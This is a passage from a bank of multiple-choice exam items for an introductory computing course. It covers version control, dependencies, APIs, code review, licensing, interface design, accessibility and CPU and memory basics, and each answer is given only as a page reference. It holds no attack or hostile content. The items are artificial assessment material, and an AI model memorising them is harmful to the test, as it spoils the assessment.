B. Writing each commit message to state what changed and why, and keeping each commit to a single logical change.

C. Saving a dated copy of the project folder before every work session, so that earlier versions of the function can be compared by hand.

D. Giving every file its own branch, so that the history of each function is kept apart from the history of all the others.

Answer: page 1022

0002.p.3.5

Two students work on separate branches of a shared program. One changes only the `menu` function near the top of a file, and the other changes only the `score` function near the bottom of the same file. A teacher asks what to expect when the second student's branch is merged into the first student's work. Which prediction is most accurate?

A. Git will combine both sets of changes without help, because the edits are to different parts of the file and do not overlap.

B. Git will ask the students to merge the file function by function, copying each function from one branch into the other by hand.

C. Git will keep only the branch that was merged first and will discard the other student's changes to the file.

D. Git will report a conflict, because two people have changed the same file and it cannot tell which person's version is correct.

Answer: page 1022

Libraries and package managers

0002.p.4.1

A club's attendance program lists the libraries it needs in the file shown below. The program ran correctly all term on the advisor's computer. After a new member installed libraries from a different list that named no versions, the member's copy drew charts with the axes swapped. The advisor says that the exact numbers in the file exist to prevent this kind of problem. What purpose do the numbers serve?

```
01 # libraries needed by the attendance program
02 plotting-lib == 2.4.1
03 csv-reader == 1.9.0
04 date-tools == 0.7.3
```

A. They tell the package manager to install the same versions on every computer, so that the program behaves alike everywhere.

B. They tell the compiler which statements of each library should be copied into the program's own file.

C. They guarantee that none of the three libraries contains a flaw that an attacker could use against the club.

D. They limit how many times the program may call each library before the library's license for the club runs out.

Answer: page 1023

0002.p.4.2

A security notice reports a serious flaw in version 1.9.0 of `csv-reader`, repaired in version 1.9.2. A teacher's classroom project records `csv-reader == 1.9.0` among its dependencies, and the teacher wonders how the package manager helps in this situation. Which statement is most accurate?

A. The package manager has already installed version 1.9.2 on its own, because it replaces any library as soon as a flaw is reported.

B. The package manager disables the library for every project until its author contacts each project that depends on it.

C. The package manager rewrites the project's own code to remove the flaw at every place where the library is called.

D. The package manager records which version is in use, so the teacher can change the number to 1.9.2 and install the repaired library.

Answer: page 1023

0002.p.4.3

A student asks the package manager to install a single library, `chart-kit`, and the manager reports that it is installing six packages. The student is concerned that unwanted software is being added to the computer. Which explanation is most accurate?

A. The package manager installs a separate copy of `chart-kit` for each function that the student's program might call.

B. The package manager adds unrelated libraries in case the student's later programs happen to need them.

C. The package manager counts the programming language's compiler and the student's editor as packages and installs both again.

D. The package manager also installs the other libraries that `chart-kit` itself relies on, and records them as dependencies.

Answer: page 1023

0002.p.4.4

A student upgrades `chart-lib` from version 2.4 to version 3.0, and the program stops working because a function that it calls was renamed in the new version. The project's dependency list still records the earlier version. The student needs a working program for tomorrow's demonstration and plans to update the code afterward. Which action best uses the package manager?

A. Deleting the library from the computer and then typing the old functions into the program from memory, as they are needed.

B. Asking the library's author to restore the earlier function name for this one project before tomorrow's demonstration takes place.

C. Setting the dependency back to version 2.4 and reinstalling, keeping it until the code has been updated for version 3.0.

D. Removing the dependency list from the project, since the list is what prevents the old function from being found.

Answer: page 1023

0002.p.4.5

A teacher runs a student's program on a lab computer and sees the message "library not found: date-tools". The program ran correctly on the student's laptop, and its code has not changed since. Which is the most likely cause and remedy?

A. The lab's editor lacks code completion, which loads libraries when a file is opened, so the editor must be updated.

B. The lab computer's operating system rejects the syntax of the program, so the code must be rewritten in the lab's language.

C. The student deleted the library's functions from the program file, so those functions must be typed into it again.

D. The lab computer lacks a library the program calls, so the package manager should install the program's dependencies there.

Answer: page 1023

Application programming interfaces

0002.p.5.1

A student reads the documentation excerpt below for a weather service, then writes a request that uses `town` in place of `city`. The service replies `{"error": "unknown parameter: town"}`. Which statement best explains the reply?

```
01 GET /v2/current?city=Buffalo&units=metric
02
03 {"city": "Buffalo", "temp": 4.5, "units": "metric"}
```

A. The request used a parameter name that the published interface does not define, so it must follow the documented form.

B. The student's program must be rewritten in the same programming language in which the weather service was originally implemented.

C. The request must be sent from the very computer on which the weather service's software is installed and running.

D. The service's database holds no town named Buffalo, so the student must obtain the data from a different service.

Answer: page 1023

0002.p.5.2

A student builds a bus-arrival display using a transit agency's online service. The student does not know what programming language the agency uses or how it stores the positions of buses, yet the display works. Which statement best explains why?

A. The display must use the same database system as the agency, which the service selects automatically for the display.

B. A copy of the agency's code is installed with the display, so the agency's own logic runs on the student's computer.

C. The agency's service translates the display program into its own language each time that the display makes a request.

D. The service specifies the requests it accepts and the responses it returns, so the display needs only to follow that interface.

Answer: page 1023

0002.p.5.3

A robotics club's scoreboard program depends on a free data service. The provider announces that free access will end in 60 days and that some of the service's request types will be retired. Which statement about the club's situation is most accurate?

A. The retired request types will keep working for the club, since a published interface is a permanent promise.

B. A free service is in the public domain, so the provider cannot restrict use of it after the club has built a program on it.

C. The scoreboard only reads data, so changes to the provider's service cannot affect the requests that it sends.

D. The provider controls the service and its terms, so the scoreboard depends on conditions that can change, and the club should plan for that.

Answer: page 1023

0002.p.5.4

A district publishes tomorrow's cafeteria menu on a web page and also through a documented service for programs. A student's app reads the page's layout to pull out the menu, and it breaks each time the district redesigns the page. A classmate suggests switching to the service. Which statement best justifies the suggestion?

A. The service is documented for use by programs, so its requests and responses should stay stable when the page's design changes.

B. The page may not legally be read by a program at all, whereas any use of a documented service is always permitted.

C. The service stores the menu on the student's own device, so the app would no longer need a network connection.

D. The service gives programs access to the district's complete database, so the app could read private student records as well as menus.

Answer: page 1023

0002.p.5.5

A student's program requests `https://api.example.org/v2/forecast?city=Buffalo&days=3` and receives three daily entries. Changing `days=3` to `days=5` returns five entries, but changing `forecast` to `history` returns an error stating that a `date` is required. Which statement correctly interprets these results?

A. The service rejected history because the program was not written in the language that history requires of its callers.

B. The forecast and history paths are different parts of the service with their own documented parameters, and days adjusts the forecast request.

C. The days value selects a different database for each number, and no database holds history for the city of Buffalo.

D. The forecast and history paths are values of one parameter, and days is the name of the service that returns the entries.

Answer: page 1023

Collaborative practices

0002.p.6.1

A student submits a change that totals the prices in a shopping cart, and teammates review it before it is merged. The loop condition `i < prices.size[1] - 1` leaves out the last item, so every total is short by the final price. Which comment from a reviewer would be most useful and appropriate?

A. "Approved. I have not run it, but waiting for a closer look would put the whole team behind schedule."

B. "The `- 1` in the loop condition skips the last price in the cart; would `i < prices.size[1]` include it?"

C. "This loop does not look right to me, and I would prefer that the whole function were written in another way."

D. "A careful programmer would have noticed this mistake, so please check your work more thoroughly next time."

Answer: page 1023

0002.p.6.2

During a pair-programming session, one student types while the other sits beside the keyboard. The teacher notices that the second student only watches in silence and has been asked to hold the notes. Which role should the second student be carrying out?

A. Reviewing each line as it is typed and thinking ahead about the design, then trading places with the typist at intervals.

B. Writing a second version of the same program on another computer so that the two versions can be compared later.

C. Waiting until the program is finished and then testing it and recording a grade for the typist's work.

D. Offering suggestions only when the typist asks for them, with the two roles staying fixed for the whole project.

Answer: page 1023

0002.p.6.3

A team of five students plans a game in a group chat. Tasks that nobody has started are forgotten, two members sometimes build the same feature, and nobody can say what remains to be done. Which tool feature would most directly address these problems?

A. A shared list in which each task has a description, an owner, and a status that every member can see.

B. A formatter that rewrites everyone's code into a single layout before it is shared with the rest of the team.

C. A history of commits that lists each author's finished changes in the order in which they were made.

D. A review step in which two members read each feature after it is complete and approve it for merging.

Answer: page 1024

0002.p.6.4

On a team of six, code reviews often turn into arguments about where braces go, how variables are named, and how far lines are indented. Reviewers then have little time left to check whether the code works. Which change would best improve the reviews?

A. Replacing code review with automated tests alone, since tests can settle questions of style and of logic alike.

B. Reviewing only the first ten lines of each change, so that the discussions about layout stay short.

C. Allowing each member to keep a personal style, since review should judge the ideas in the code and not its appearance.

D. Adopting a shared style guide and an automatic formatter, so that reviewers can concentrate on whether the logic is correct.

Answer: page 1024

0002.p.6.5

A team requires that a senior member review every change from a new member before it is merged, even when the automated tests already pass. A student on the team calls the reviews wasteful. Which benefit of the reviews, beyond catching defects, is the strongest reply?

A. The reviews spread knowledge of the code and of the team's conventions among the people who write and read it.

B. The reviews move the responsibility for later defects from the author to the reviewer who approved the change.

C. The reviews guarantee that every approved change is free of defects, so that the team receives no later bug reports.

D. The reviews remove the need for authors to run their own tests, since the reviewer takes over that duty.

Answer: page 1024

Code reuse and attribution

0002.p.7.1

A student pastes the function below, found in a public code collection, into a club's game and plans to delete the header comment to keep the file tidy. Which statement describes what the student must do?

```
01 /* clamp(v, lo, hi): keeps a value within a range. */
02 /* Copyright (c) 2019 R. Ortega. Released under the MIT License: */
03 /* permission to use, copy, and modify is granted, provided that */
04 /* this notice is included in all copies of the code. */
05 function clamp(int v, int lo, int hi)
06   if (v < lo)
07     return lo
08   elseif (v > hi)
09     return hi
10   return v
11
12 output(clamp(120, 0, 100))
13 output(clamp(-5, 0, 100))
```

A. Delete the notice but write to R. Ortega for permission, since a license never allows use without the author's reply.

B. Rename the variables and then delete the notice, since changing the names makes the code the student's own work.

C. Keep the notice with the copied code, because the license permits reuse only if the notice and credit are retained.

D. Keep nothing, since code posted in a public collection is in the public domain and therefore carries no conditions at all.

Answer: page 1024

0002.p.7.2

While solving a club problem, a student finds a complete solution in a forum post. The post shows no author's name, license, or terms of use. The student is deciding how to use it. Which action is most appropriate?

A. Ask the poster for permission, or write independent code, because code with no stated license may not be legal to reuse.

B. Copy it into the project, since license terms apply only to programs that are sold and not to ones that are given away.

C. Copy it with a comment crediting the forum, since credit alone makes any publicly visible code free to reuse.

D. Copy it after changing about a third of its lines, since that amount of change creates a new and separate work.

Answer: page 1024

0002.p.7.3

A student pastes a sorting function from a tutorial into a school records program. The function worked on the tutorial's example. Weeks later, the program silently drops records that share a student name with an earlier record, and the student cannot explain why. Which step taken before reuse would most directly have prevented the problem?

A. Renaming the function's variables to match the project's style, since the names that a function uses determine how it behaves.

B. Adding a comment that credits the tutorial's author, since giving credit confirms that the function is reliable for the project.

C. Reading the function to learn what it does, and testing it on the kinds of records that the project will hold.

D. Checking that the tutorial had been widely shared, since popularity shows that a function handles every kind of input correctly.

Answer: page 1024

0002.p.7.4

A student asks an artificial intelligence (AI) code generator for a function that reports the median of a list of scores. It runs without error on the one example that the student tries, so the student adds it to the club's grade-reporting program. Later, the function gives wrong answers for lists with an even number of values. Which statement best describes the lesson?

A. Generated code is safe to use when the tool has been trained only on code that belongs to the public domain.

B. Generated code that runs once without error has been checked by the tool, so later failures must come from other code.

C. Generated code is the student's own work, so no further review or testing is owed before it is used.

D. Generated code should be read and tested like any reused code, including on inputs beyond a single example.

Answer: page 1024

0002.p.7.5

A teacher includes a small open-source library in a classroom app that is shared free of charge with other schools. The library's license requires that its author be credited in distributed copies. To keep the interface clean, the teacher plans to leave out the credit, reasoning that the app earns no money and is used only for education. Which statement about this plan is accurate?

A. Educational use is exempt from license terms, so schools may omit credit when an app is shared for teaching.

B. Credit is required only when an app is sold, so a free app is permitted to leave the author's name out.

C. Credit is required only when the library's code has been changed, so a library used as it was published needs none.

D. The license's terms apply to the app as distributed, so the author must be credited even though the app is free.

Answer: page 1024

0003 Networks, the Internet, and system design

0003.a Input, output, and interfaces

Read about this in the content summary: 0003.a, page 102.

Input and output devices

0003.a.1.1

A museum kiosk has a touch screen and no keyboard, mouse, or speakers. A visitor taps the name of a gallery, and a floor plan of that gallery appears. In this exchange, the screen functions as:

A. an input component that senses each tap, because graphics software is what produces the image of the floor plan.

B. the one component through which data both enters the system and is presented.

C. an output component that displays the floor plan, because the processor is what registers each tap on the glass.

D. a storage component that keeps the floor plans until a visitor chooses to view one.

Answer: page 1024

0003.a.1.2

A school weather station measures wind speed with a rooftop anemometer, averages the readings, shows the latest value on a lobby display, and prints a weekly summary. Which component sends data into the computing system?

A. the anemometer on the roof of the building

B. the printer that produces the weekly summary

C. the processor that averages the incoming readings

D. the lobby display that shows the latest value

Answer: page 1024

0003.a.1.3

An automated greenhouse measures soil moisture and opens a water valve when the soil is dry. A student claims that the system has no output, because nothing appears on a screen and no sound is played. The claim is flawed because:

A. the moisture probe reports a value to the processor, which makes it an output device.

B. the valve acts on the results of the system's processing, which makes it an output device.

C. the program's decision to water the plants counts as an output device, even with no hardware attached.

D. the system's memory presents stored values to the processor, which makes it an output device.

Answer: page 1025

0003.a.1.4

A student who is blind needs to review the results of a spreadsheet calculation on a school computer. Which hardware addition most directly gives the student access to those results?

A. a refreshable braille display connected to the computer

B. a keyboard with tactile markings on each of its keys

C. a high-resolution monitor set to show magnified text

D. a scanner that reads printed pages into the computer

Answer: page 1025

0003.a.1.5

A smart doorbell records video of the porch, registers presses of its button, detects motion, and sounds a chime inside the house. Which of its components is an output device?

A. the button pressed by the visitor

B. the camera that records the video

C. the speaker that sounds the chime

D. the detector that notices motion

Answer: page 1025

Command-line interface

0003.a.2.1

A systems administrator must rename about 3,000 log files according to a fixed pattern every night, at an hour when no staff are on duty. Which characteristic makes a terminal command a better fit than a graphical file manager for this job?

A. The command can be placed in a script that runs with no person present.

B. The terminal lists all available commands on the screen, so nothing must be memorized.

C. The terminal shows each file as an icon that can be dragged more precisely.

D. The terminal does not check permissions on files that belong to other users.

Answer: page 1025

0003.a.2.2

A laptop's trackpad fails during a lab in which students run text-only programs in a terminal. The student using it has no external mouse. Which statement best describes the effect of this failure on the lab work?

A. The work must stop, since commands are selected from on-screen lists using a pointer.

B. The work can continue only on a touch screen, since a finger must replace the trackpad.

C. The work must switch to voice, since terminals accept spoken commands in place of a pointer.

D. There is little effect, since these programs take their input as typed text.

Answer: page 1025

0003.a.2.3

A new employee at a software company sits at a terminal, sees only a blinking prompt, and cannot work out how to begin a routine task that colleagues finish in seconds. The most likely source of the difficulty is that:

A. the employee's workstation lacks the specialized hardware that terminals require.

B. the terminal displays too many menus and icons for a beginner to scan.

C. the prompt gives no visible indication of which commands are available.

D. the terminal can carry out only a small set of simple operations.

Answer: page 1025

0003.a.2.4

A teacher is planning a first lesson on the terminal and wants a task in which typed commands clearly outperform pointing and clicking. Which task best serves this purpose?

A. exploring an unfamiliar set of application settings

B. reviewing photographs to choose the best for a poster

C. changing the name of one file whose location is known

D. converting all 400 images in a folder with one command

Answer: page 1025

0003.a.2.5

A company's servers sit in a distant data center with no monitors attached, and administrators reach them over a connection of limited bandwidth. Why is a terminal session usually preferred to a remote graphical desktop in this setting?

A. Typed commands and text replies need far less data than a continuously redrawn screen.

B. A graphical desktop is designed for a monitor attached to the server and does not work through a network connection.

C. Terminal sessions are protected by encryption, whereas graphical sessions send their contents in readable form.

D. Terminal sessions do not require the server to have an operating system running.

Answer: page 1025

Graphical user interface

0003.a.3.1

A company replaces a command-line reporting tool with a windowed application, mainly for staff who run reports a few times a year. Which outcome is most likely after the change?

A. Bulk reruns become simpler, because each menu action is recorded as a script automatically.

B. Occasional users must memorize more options, although each option is now visible on the screen.

C. Reports become more accurate, because a windowed application cannot accept invalid settings.

D. Occasional users find report options more easily, while bulk reruns take more manual effort.

Answer: page 1025

0003.a.3.2

A student describes a program that opens in a resizable frame, shows small pictures for saved files, lists actions under words along the top, and responds to a moving arrow. The student is describing:

A. an application programming interface.

B. a batch scripting environment.

C. a graphical user interface.

D. a command-line interface.

Answer: page 1025

0003.a.3.3

A student must resize 500 photographs for a yearbook. The graphics application requires opening each photograph, choosing a menu command, typing a size, and saving. Which statement best characterizes the obstacle?

A. Menu commands are harder for a new user to find than typed commands would be.

B. Graphical applications slow down greatly when they must process several hundred files in one session.

C. A pointing device is too imprecise for setting the size of an image.

D. The application makes each action easy to find but leaves the repetition to the user.

Answer: page 1025

0003.a.3.4

A software company replaces its list of typed commands with menus, and calls from first-time users to its support line fall sharply. Which explanation of this drop is best supported?

A. Menus rely on pictures, so users seldom need to read the words in the application.

B. Users can recognize an option on the screen instead of recalling its exact name.

C. Menus check each choice against the user’s goal, so mistaken choices are caught before they run.

D. Menus carry out the same operations faster than the processor can run typed commands.

Answer: page 1025

0003.a.3.5

An office is deciding between a graphical tool and a command-line tool for each of four tasks. For which task does the graphical tool offer the clearest advantage?

A. the administration of a server that has no display, over a slow link

B. a single settings change that must be applied to 900 workstations

C. a first attempt by a staff member to adjust unfamiliar printer options

D. a nightly file transfer that must run when no staff are present

Answer: page 1025

Hot keys

0003.a.4.1

A clerk enters invoices all day with both hands on the keyboard and regularly stops to save or undo using the menus. A supervisor suggests learning Ctrl+S and Ctrl+Z. This suggestion is most likely to save time by:

A. sparing the clerk repeated trips from the keyboard to the pointing device.

B. letting the operating system handle each command with fewer instructions.

C. raising the rate at which the keyboard sends characters to the application.

D. saving the clerk's work automatically at fixed intervals with no action required.

Answer: page 1025

0003.a.4.2

A word processor's manual states that pressing F7 immediately starts the spelling checker, with no need to open a menu. The manual is describing:

A. a command-line argument for the program

B. a device driver for the keyboard

C. a function call in the program's code

D. a hot key assigned to a function

Answer: page 1025

0003.a.4.3

A teacher has a repetitive strain injury that makes moving a mouse painful, although typing remains comfortable. Which built-in software feature offers the most immediate relief during routine saving, copying, and window switching?

A. a larger mouse pointer, so that targets are easier to see while moving

B. a higher display resolution, so that more menu items fit on the screen

C. an on-screen keyboard that is operated by clicking on its letters

D. key combinations assigned to the computer's most frequent functions

Answer: page 1025

0003.a.4.4

A software company assigns Ctrl+Q to Save in its new editor, although most applications on the same platform use that combination to quit. The support staff should most expect reports of:

A. keyboards failing to send the new combination until their firmware has been updated.

B. users triggering the wrong action because habits from other applications no longer apply.

C. documents being saved in a file format that other applications cannot open.

D. the operating system rejecting the assignment because each combination is reserved for it.

Answer: page 1026

0003.a.4.5

An observer times a programmer who moves a hand to the trackpad, opens the Edit menu, and chooses Undo about 40 times an hour. Which change would most directly shorten this routine?

A. turning on an automatic save at intervals of one minute

B. moving the Undo command to an icon on the toolbar

C. installing a faster processor so that the menu opens sooner

D. pressing the key combination assigned to Undo

Answer: page 1026

Form controls

0003.a.5.1

A conference registration form lists eight optional workshops held at different times, and a participant may attend as many as the schedule allows. Which control should the form use to collect these choices?

A. a group of checkboxes, one for each workshop

B. a drop-down menu listing all eight workshops

C. a group of radio buttons sharing one group name

D. a single-line text field for typing workshop titles

Answer: page 1026

0003.a.5.2

An online checkout asks each buyer to pick a shipping speed from standard, express, and overnight, using three checkboxes. A tester finds that orders can reach the server with two or three speeds selected. Which change most directly prevents this?

A. replacing the checkboxes with a multiline text box for describing the desired speed

B. marking the three checkboxes as required fields on the form

C. replacing the checkboxes with radio buttons, so that selecting one speed clears the others

D. adding a label above the checkboxes that instructs buyers to choose a single speed

Answer: page 1026

0003.a.5.3

Which control best collects one of the 50 U.S. states in limited screen space?

A. a single-line text field for typing the state's name

B. a column of 50 checkboxes, one for each state

C. a drop-down menu that expands to list the states

D. a column of 50 radio buttons, one for each state

Answer: page 1026

0003.a.5.4

An online survey asks respondents which of 10 languages they speak. Analysts find that almost no one reports more than one language, although the community is known to be highly multilingual. Which design choice most likely produced this result?

A. presenting the languages as checkboxes

B. requiring a response to the question before the form could be submitted

C. presenting the languages as radio buttons

D. listing the languages in alphabetical order rather than by popularity

Answer: page 1026

0003.a.5.5

A sign-up page includes one unchecked box labeled “Send me the monthly newsletter.” A reviewer objects that a yes-or-no question requires two radio buttons. Which response to the reviewer is most accurate?

A. Radio buttons would let a user choose both yes and no at the same time.

B. A checkbox is required by federal law whenever consent is recorded on a web page.

C. One checkbox already expresses two answers through its checked and unchecked states.

D. Radio buttons cannot appear on a page that contains any other kinds of fields.

Answer: page 1026

Usability principles

0003.a.6.1

A web form responds to a date typed in the wrong format by showing only “Error 500” and clearing every other field that the user has completed. Which revision would most improve the form?

A. a larger, bolder font for the numeric code that appears in the error message

B. a sound played each time that a user’s entry is rejected by the form

C. a link to a complete list of the site’s error codes and their technical meanings

D. a message stating the required date format, with the user’s other entries left in place

Answer: page 1026

0003.a.6.2

After a teacher clicks Save in an online grade book, the page looks exactly as it did before. Several teachers click repeatedly or reenter grades to be sure. This design is weakest in that it:

A. makes a destructive action too easy to perform by accident.

B. places its commands in different locations on different pages.

C. does not tell users what the system has just done.

D. displays an error message that does not explain how to recover.

Answer: page 1026

0003.a.6.3

A teacher’s website places a Delete button directly beside Save, with the same color and shape, and users often delete work by mistake. Which change would most directly make this mistake less likely?

A. moving the buttons apart and asking for confirmation before anything is deleted

B. enlarging the Delete button so that users can click on it more accurately

C. showing a clearer message after work has been deleted, explaining what was lost

D. showing a progress indicator to report how much of the deletion is complete

Answer: page 1026

0003.a.6.4

On a university website, the Search box appears at the top right of some pages, in a side panel on others, and at the bottom of the rest. The design shortcoming most directly at issue is a lack of:

A. protection against mistakes made by the user.

B. feedback about the system's current status.

C. adaptation to the size of the user's screen.

D. consistency across the pages of the site.

Answer: page 1026

0003.a.6.5

An upload button appears to do nothing for about 20 seconds while a large file transfers, so users click it repeatedly and create duplicate submissions. Which change most directly addresses the cause of the repeated clicks?

A. placing the upload button in the same location on every page of the site

B. requiring users to enter a password each time that the button is clicked

C. changing the color of the upload button to make it more noticeable

D. displaying a progress indicator from the moment that the upload begins

Answer: page 1026

Accessible interface design

0003.a.7.1

A student with limited hand mobility navigates a school portal entirely from the keyboard. An audit finds that the student cannot open the main menu, which appears only when a pointer hovers over it. Which fix most directly removes the barrier?

A. adding a video tour that shows how the main menu is opened and used

B. enlarging the hover area so that the menu appears over more of the page

C. making each menu item a labeled control that receives focus through the Tab key

D. increasing the font size of the menu's labels throughout the school portal

Answer: page 1026

0003.a.7.2

Which requirement for a new library website would exclude some users?

A. Page sections are marked with semantic headings.

B. Every form field has a visible text label.

C. Body text has strong contrast with its background.

D. Every command is started by a mouse click.

Answer: page 1026

0003.a.7.3

A student's web page uses `<div>` elements styled to look like buttons. They work with a mouse, but keyboard users cannot reach them, and a screen reader announces them as plain text. Which fix is most appropriate?

A. adding a border and a shadow so that they look more like buttons

B. placing each element within a larger `<div>` to make a bigger click area

C. replacing the styled elements with real `<button>` elements

D. raising the contrast between the text and the color of each element

Answer: page 1026

0003.a.7.4

A school newsletter website sets light gray text on a white background. A reader with low vision reports that articles are hard to read, although the text is a normal size. Which change most directly helps?

A. replacing each article's text with a photograph of the printed article

B. darkening the text so that it stands out clearly from the background

C. hiding the menus until a pointer hovers, in order to reduce clutter

D. playing a sound to announce that the page has finished loading

Answer: page 1026

0003.a.7.5

A form marks an invalid field only by turning its border red, with no accompanying text. Which pair of users is most likely to miss the error?

A. people using touch screens and people on slower network connections

B. people using screen readers and people with color vision deficiency

C. people navigating by keyboard and people working on large monitors

D. people with hearing loss and people working in older web browsers

Answer: page 1026

Touch and responsive design

0003.a.8.1

A class website works well on a desktop computer, but phone users often activate the wrong link in its tightly packed navigation list. Which design change most directly addresses this problem?

A. opening each link in a new tab so that a mistaken tap can be undone

B. providing larger touch targets with adequate space between them

C. using higher-resolution images so that link labels appear sharper

D. adding more links to each page so that fewer taps are needed

Answer: page 1027

0003.a.8.2

A school district's website shows three columns on a desktop, two on a tablet, and one on a phone, with no separate mobile version. This layout is best described as:

A. inconsistent, since content is arranged differently on each device.

B. static, since the same files are sent to all kinds of devices.

C. responsive, since one site adapts to the width of the screen.

D. interactive, since it reacts to each tap and click by the user.

Answer: page 1027

0003.a.8.3

A web page contains a table with a fixed width of 1,200 pixels, so phone users must scroll sideways to read it. Which approach best resolves this problem?

A. adding a notice that asks phone users to switch to a desktop computer

B. increasing the size of the text within each cell of the table

C. allowing the table to rearrange or scale to the available screen width

D. deleting the table's data from the version of the page sent to phones

Answer: page 1027

0003.a.8.4

A desktop website reveals each product's price only when the pointer rests on the product's picture. After the site is opened to phone users, customers complain that they cannot find prices. Which explanation is most accurate?

A. Most touch screens offer no equivalent of resting a pointer over an element.

B. A touch screen responds to gestures after the images finish loading, which delays the display of the price.

C. Phone screens are too small to show text that is placed on top of an image.

D. Phone browsers remove pop-up content in order to reduce the amount of data used.

Answer: page 1027

0003.a.8.5

A teacher wants to know whether a class project site really works on phones before it is shared publicly. Which check gives the most direct evidence?

A. reading the site's style sheet for rules that mention screen width

B. measuring the total size of the site's files stored on the server

C. confirming that all pages display correctly in a full-size desktop browser

D. completing common tasks on real phones and in phone-sized windows

Answer: page 1027

Usability testing

0003.a.9.1

Which method best shows whether first-year students can register using a redesigned portal?

A. observing a few first-year students trying to register on the portal

B. asking first-year students in a survey which design they prefer

C. counting the portal's page views during the week after its release

D. having the developers walk through the registration steps themselves

Answer: page 1027

0003.a.9.2

A team reviews its notes after five parents tried to sign up for a school lunch program on a new website while the team watched. Which note reflects the kind of finding that this session was designed to produce?

A. Pages took an average of two seconds to load across the district's network.

B. Four of the five parents could not tell where to enter a child's allergies.

C. The payment module's source code contains a variable that is never used.

D. The new website costs the district less per year than the previous one did.

Answer: page 1027

0003.a.9.3

During a test session, a participant searches for the Save button for a full minute. The observer then points it out so that the session can continue. Why is this a poor practice?

A. It hides how users would have behaved had no one been there to help.

B. It lowers the participant's confidence, which is the main quantity being measured.

C. It breaks the rule that observers must remain outside of the testing room.

D. It requires the team to discard the session and recruit another participant at once.

Answer: page 1027

0003.a.9.4

A team building a tool for substitute teachers has a budget for one small round of testing with users. Which participants would be most useful?

A. a few substitute teachers who have not seen the design

B. a large group of people who are not teachers and have no need for this tool

C. the district's senior administrators, who approve the purchase

D. members of the development team that built the tool

Answer: page 1027

0003.a.9.5

A survey shows that users say they like a new interface, but logs from the same period show that many of them fail to complete key tasks. How should the team interpret these results?

A. The two results should be averaged into one score, since each measures the same quality.

B. The task failures deserve priority, since people may like designs that they cannot use well.

C. The logs should be discarded, since disagreement with the survey shows that they are unreliable.

D. The positive opinions deserve priority, since users know their own needs better than logs do.

Answer: page 1027

0003.b Hardware, software, and how they interact

Read about this in the content summary: 0003.b, page 106.

Central processing unit

0003.b.1.1

A student watches a simulated processor retrieve the next instruction from memory, determine what the instruction means, and carry it out, repeatedly. The student is observing which process?

A. the request, response, and render cycle

B. the boot, login, and shutdown process

C. the compile, link, and load sequence

D. the fetch, decode, and execute cycle

Answer: page 1027

0003.b.1.2

A diagram of a central processing unit (CPU) shows one block that directs the sequence of operations, several that hold values being worked on, and one that performs calculations. Which list names these blocks, in that order?

A. a motherboard, a solid-state drive, and a power supply

B. a control unit, registers, and an arithmetic logic unit

C. a scheduler, device drivers, and a compiler

D. a keyboard, random access memory, and a monitor

Answer: page 1027

0003.b.1.3

Two otherwise identical computers run the same program with the same instructions. One has a processor with a higher clock speed and finishes sooner. Which difference most directly explains this result?

A. The faster computer has more capacity available on its solid-state drive.

B. More programs can be kept open at one time on the faster computer.

C. More instruction cycles are completed by its processor each second.

D. The program is translated into fewer instructions on the faster computer.

Answer: page 1027

0003.b.1.4

While a CPU adds two numbers, the values must be available with almost no delay. Where are the values currently being worked on most immediately held?

A. in registers within the processor

B. in the program's source code file, where the values were first written

C. on the solid-state drive, which can keep them through a power loss

D. in random access memory, where running programs are kept

Answer: page 1027

0003.b.1.5

A video game displays detailed three-dimensional worlds, yet the processor running it can perform only simple operations such as adding numbers, comparing values, and copying data. Which statement best reconciles these facts?

A. Complex behavior arises from executing enormous numbers of simple instructions.

B. The game adds new operations to the processor's hardware when it is loaded.

C. High-level languages give the processor complex operations to use while the game is running.

D. The operating system performs the complex calculations without involving the processor.

Answer: page 1027

Arithmetic logic unit

0003.b.2.1

A simplified processor holds `6` in register A and `2` in register B, and its instruction register specifies subtraction. Which statement best describes what happens next, in the simple model of a central processing unit?

A. The accumulator produces `4`, which is sent on to the program counter.

B. The instruction register produces `4`, which it keeps for the next instruction.

C. The control unit produces 4, which is written back into register A.

D. The arithmetic logic unit produces 4, which is sent to the accumulator.

Answer: page 1027

0003.b.2.2

A student claims that the arithmetic logic unit plays no part in a program that does no math and only tests whether two conditions are both true. In fact, such tests are carried out:

A. in the arithmetic logic unit, which performs logical operations as well as arithmetic.

B. in the compiler, which settles all of the logical tests before the program runs.

C. in the operating system, which provides logical tests as a service to running programs.

D. in memory, where the stored values are evaluated at the moment they are read.

Answer: page 1028

0003.b.2.3

A program compares two numbers and, when they are equal, continues from a different instruction. Which components are most directly responsible for the comparison and the change in sequence, respectively?

A. the operating system's scheduler; the accumulator

B. the control unit; the arithmetic logic unit

C. the instruction register; random access memory

D. the arithmetic logic unit; the control unit

Answer: page 1028

0003.b.2.4

In the simple model of a processor, a student pauses a simulation just after the arithmetic logic unit finishes an addition and looks for the sum. Where should the student look?

A. the instruction register

B. the program counter

C. the accumulator

D. the solid-state drive

Answer: page 1028

0003.b.2.5

A student's notes state that the arithmetic logic unit "decides which instruction the program runs next." Which revision of the notes is most accurate?

A. This unit stores the running program, while the accumulator chooses the next operation to perform.

B. This unit decides only for arithmetic instructions, while the operating system decides for all others.

C. This unit carries out specified operations, while the control unit directs the instruction sequence.

D. This unit translates source code, while the compiler selects each next instruction during the run.

Answer: page 1028

Memory and storage

0003.b.3.1

A laptop loses power while a student is writing an essay. After a restart, the version saved an hour earlier is intact, but all edits made since then are gone. Which statement best explains this outcome?

A. The recent edits were on the drive, which erases its newest data during a power failure.

B. The recent edits existed only in memory that needs power to keep its contents.

C. The recent edits were discarded by the operating system because the essay was still open.

D. The saved version was kept in memory, whose contents are refreshed whenever the laptop restarts.

Answer: page 1028

0003.b.3.2

A computer's specification sheet lists 16 gigabytes of fast memory that holds running programs and is emptied at shutdown, along with one terabyte of slower space. The 16-gigabyte figure describes:

A. registers that hold values inside the processor.

B. reserved space on the solid-state drive.

C. random access memory used by running programs.

D. read-only memory that holds the firmware.

Answer: page 1028

0003.b.3.3

A computer slows dramatically when a student keeps 40 browser tabs and a video editor open at once, although the solid-state drive is only 20 percent full and the network is fast. Which upgrade is most likely to help?

A. connecting a monitor with a higher resolution

B. installing additional random access memory modules

C. installing a solid-state drive with greater capacity

D. subscribing to a faster plan for Internet service

Answer: page 1028

0003.b.3.4

A student asks why a laptop has both random access memory and a solid-state drive rather than only one of them. Which answer is most accurate?

A. RAM can hold only programs, while drives can hold only documents and other files created by users.

B. RAM is quick enough for running programs but loses its contents, while drives retain data but are slower.

C. RAM costs less per gigabyte than a drive, while a drive holds less data than RAM can in a typical laptop.

